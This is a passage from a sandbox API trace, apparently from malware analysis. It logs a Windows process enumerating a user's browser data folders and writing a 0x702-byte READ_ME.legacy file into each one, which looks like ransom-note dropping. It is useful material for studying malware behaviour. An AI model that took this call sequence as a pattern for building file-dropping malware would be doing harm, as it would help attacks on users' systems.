cAlternateFileName="")) returned 1 [0149.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0149.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0149.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0149.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0149.312] GetLastError () returned 0x0 [0149.312] SetLastError (dwErrCode=0x0) [0149.312] GetLastError () returned 0x0 [0149.312] SetLastError (dwErrCode=0x0) [0149.312] GetLastError () returned 0x0 [0149.312] SetLastError (dwErrCode=0x0) [0149.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0149.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d8c8 [0149.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0149.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0149.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x563e38 [0149.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563e38 | out: hHeap=0x520000) returned 1 [0149.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20270 [0149.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20270 | out: hHeap=0x520000) returned 1 [0149.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101a8 | out: hHeap=0x520000) returned 1 [0149.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0149.313] FindNextFileW (in: hFindFile=0x60c618, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1af30e0, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe1af30e0, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe1af30e0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0149.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0149.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0149.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.313] GetLastError () returned 0x0 [0149.313] SetLastError (dwErrCode=0x0) [0149.313] GetLastError () returned 0x0 [0149.313] SetLastError (dwErrCode=0x0) [0149.313] GetLastError () returned 0x0 [0149.313] SetLastError (dwErrCode=0x0) [0149.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0149.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101a8 | out: hHeap=0x520000) returned 1 [0149.313] FindNextFileW (in: hFindFile=0x60c618, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa850ed2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfaa1ab04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0149.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0149.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0149.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.313] GetLastError () returned 0x0 [0149.313] SetLastError (dwErrCode=0x0) [0149.313] GetLastError () returned 0x0 [0149.313] SetLastError (dwErrCode=0x0) [0149.313] GetLastError () returned 0x0 [0149.313] SetLastError (dwErrCode=0x0) [0149.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6102c0 [0149.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610298 [0149.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6102c0 | out: hHeap=0x520000) returned 1 [0149.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610298 | out: hHeap=0x520000) returned 1 [0149.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567418 [0149.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610298 [0149.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0149.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0149.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0149.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0149.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.314] GetLastError () returned 0x0 [0149.314] SetLastError (dwErrCode=0x0) [0149.314] GetLastError () returned 0x0 [0149.314] SetLastError (dwErrCode=0x0) [0149.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0149.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0149.314] GetLastError () returned 0x0 [0149.314] SetLastError (dwErrCode=0x0) [0149.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x6120b8 [0149.314] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0 [0149.319] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6120b8 | out: hHeap=0x520000) returned 1 [0149.319] WriteFile (in: hFile=0x7f0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.320] CloseHandle (hObject=0x7f0) returned 1 [0149.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0149.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0149.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0149.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0149.320] FindNextFileW (in: hFindFile=0x60c618, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa850ed2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfaa1ab04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 0 [0149.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0149.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585b10 | out: hHeap=0x520000) returned 1 [0149.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0149.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d488 | out: hHeap=0x520000) returned 1 [0149.321] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xe1b1922e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563e78 [0149.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0149.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0149.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.321] GetLastError () returned 0x12 [0149.321] SetLastError (dwErrCode=0x12) [0149.321] GetLastError () returned 0x12 [0149.321] SetLastError (dwErrCode=0x12) [0149.321] GetLastError () returned 0x12 [0149.321] SetLastError (dwErrCode=0x12) [0149.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0149.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d348 [0149.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0149.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6102c0 [0149.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x563d38 [0149.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563d38 | out: hHeap=0x520000) returned 1 [0149.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0149.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0149.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6102c0 | out: hHeap=0x520000) returned 1 [0149.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0149.322] FindNextFileW (in: hFindFile=0x563e78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xe1b1922e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0149.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0149.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.322] GetLastError () returned 0x12 [0149.322] SetLastError (dwErrCode=0x12) [0149.322] GetLastError () returned 0x12 [0149.322] SetLastError (dwErrCode=0x12) [0149.322] GetLastError () returned 0x12 [0149.322] SetLastError (dwErrCode=0x12) [0149.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0149.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0149.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0149.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610310 [0149.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x563df8 [0149.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563df8 | out: hHeap=0x520000) returned 1 [0149.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20180 [0149.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20180 | out: hHeap=0x520000) returned 1 [0149.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610310 | out: hHeap=0x520000) returned 1 [0149.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0149.322] FindNextFileW (in: hFindFile=0x563e78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1b1922e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe1b1922e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe1b1922e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0149.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0149.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0149.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.322] GetLastError () returned 0x12 [0149.323] SetLastError (dwErrCode=0x12) [0149.323] GetLastError () returned 0x12 [0149.323] SetLastError (dwErrCode=0x12) [0149.323] GetLastError () returned 0x12 [0149.323] SetLastError (dwErrCode=0x12) [0149.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0149.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101a8 | out: hHeap=0x520000) returned 1 [0149.323] FindNextFileW (in: hFindFile=0x563e78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1b1922e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe1b1922e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe1b1922e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0149.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611c90 [0149.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0149.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0149.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0149.323] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe1b1922e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563cf8 [0149.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0149.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0149.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.323] GetLastError () returned 0x12 [0149.323] SetLastError (dwErrCode=0x12) [0149.323] GetLastError () returned 0x12 [0149.323] SetLastError (dwErrCode=0x12) [0149.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0149.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0149.323] GetLastError () returned 0x12 [0149.324] SetLastError (dwErrCode=0x12) [0149.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0149.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d348 [0149.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0149.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0149.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x563eb8 [0149.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563eb8 | out: hHeap=0x520000) returned 1 [0149.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0149.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0149.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101a8 | out: hHeap=0x520000) returned 1 [0149.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0149.324] FindNextFileW (in: hFindFile=0x563cf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe1b1922e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0149.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0149.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.324] GetLastError () returned 0x12 [0149.324] SetLastError (dwErrCode=0x12) [0149.324] GetLastError () returned 0x12 [0149.324] SetLastError (dwErrCode=0x12) [0149.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0149.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0149.324] GetLastError () returned 0x12 [0149.324] SetLastError (dwErrCode=0x12) [0149.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0149.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0149.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0149.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0149.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x563d78 [0149.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563d78 | out: hHeap=0x520000) returned 1 [0149.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20210 [0149.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20210 | out: hHeap=0x520000) returned 1 [0149.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101a8 | out: hHeap=0x520000) returned 1 [0149.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0149.325] FindNextFileW (in: hFindFile=0x563cf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf98c0dcf, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c8304, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c8304, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="MicrosoftEdge_bingpagedata", cAlternateFileName="MICROS~4")) returned 1 [0149.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0149.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0149.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0149.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0149.325] GetLastError () returned 0x12 [0149.325] SetLastError (dwErrCode=0x12) [0149.325] GetLastError () returned 0x12 [0149.325] SetLastError (dwErrCode=0x12) [0149.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0149.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0149.325] GetLastError () returned 0x12 [0149.325] SetLastError (dwErrCode=0x12) [0149.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553c10 [0149.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0149.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0149.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6102c0 [0149.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0149.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0149.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0149.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0149.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0149.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0149.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e92e0 [0149.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0149.326] GetLastError () returned 0x12 [0149.326] SetLastError (dwErrCode=0x12) [0149.326] GetLastError () returned 0x12 [0149.326] SetLastError (dwErrCode=0x12) [0149.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0149.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e92e0 | out: hHeap=0x520000) returned 1 [0149.326] GetLastError () returned 0x12 [0149.326] SetLastError (dwErrCode=0x12) [0149.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x60a8b0 [0149.326] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_bingpagedata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f8 [0149.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a8b0 | out: hHeap=0x520000) returned 1 [0149.327] WriteFile (in: hFile=0x7f8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.327] CloseHandle (hObject=0x7f8) returned 1 [0149.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0149.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0149.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0149.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0149.328] FindNextFileW (in: hFindFile=0x563cf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9090a172, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9090a172, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="MicrosoftEdge_DNTException", cAlternateFileName="MI18F7~1")) returned 1 [0149.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0149.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0149.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.328] GetLastError () returned 0x0 [0149.328] SetLastError (dwErrCode=0x0) [0149.328] GetLastError () returned 0x0 [0149.328] SetLastError (dwErrCode=0x0) [0149.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0149.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0149.328] GetLastError () returned 0x0 [0149.328] SetLastError (dwErrCode=0x0) [0149.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) 